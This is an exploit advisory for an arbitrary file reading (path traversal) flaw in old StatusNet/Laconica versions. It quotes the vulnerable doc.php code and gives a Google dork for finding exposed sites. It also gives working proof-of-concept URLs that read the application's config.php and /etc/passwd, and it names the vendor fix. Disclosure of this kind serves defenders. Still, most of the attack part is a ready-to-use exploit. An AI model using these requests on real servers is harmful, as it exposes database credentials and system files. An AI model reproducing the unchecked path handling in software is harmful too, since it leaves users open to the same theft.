StatusNet/Laconica 0.7.4/0.8.2/0.9.0beta3 - Arbitrary File Reading

+-------------------------------------------------------------------------------+
+ StatusNet/Laconica <= 0.7.4, <= 0.8.2, <= 0.9.0beta3 - arbitrary file reading +
+-------------------------------------------------------------------------------+

# Date:
	- 10/10/2013

# Exploit Author:
	- spiderboy

# Vendor Homepage:
	- http://status.net/

# Software Links:
	- http://status.net/laconica-0.7.4.tar.gz
	- http://status.net/statusnet-0.8.2.tar.gz
	- http://status.net/statusnet-0.9.0beta3.tar.gz

# Version:
	- Branch 0.7.X : <= 0.7.4
	- Branch 0.8.X : <= 0.8.2
	- Branch 0.9.X : <= 0.9.0beta3

# Tested on:
	- Unix/Linux

# Category:
	- Webapps

# Platform:
	- php

# Advisories :
	- http://status.net/wiki/Security_alert_0000002
	- http://osvdb.org/show/osvdb/95586

# Google Dork:
	- "It runs the StatusNet microblogging software, version 0.8.2"

# Vendor product description:
	- Free and Open Source social software

# Vulnerable code:
	- actions/doc.php:
	--------------------------------------------------------------------
	function handle($args)
	{
		parent::handle($args);
		$this->title    = $this->trimmed('title');
		$this->filename = INSTALLDIR.'/doc-src/'.$this->title; //[1]
		if (!file_exists($this->filename)) {
			$this->clientError(_('No such document.'));
			return;
		}
		$this->showPage();
	}
	--------------------------------------------------------------------
	[1] : No check on user-supplied parameter $this->title

# Proof of concept:
	- http://[host]/index.php?action=doc&title=../config.php
	- http://[host]/index.php?action=doc&title=../../../../../../../../etc/passwd

# Solution:
	- Upgrade to latest version : http://status.net/download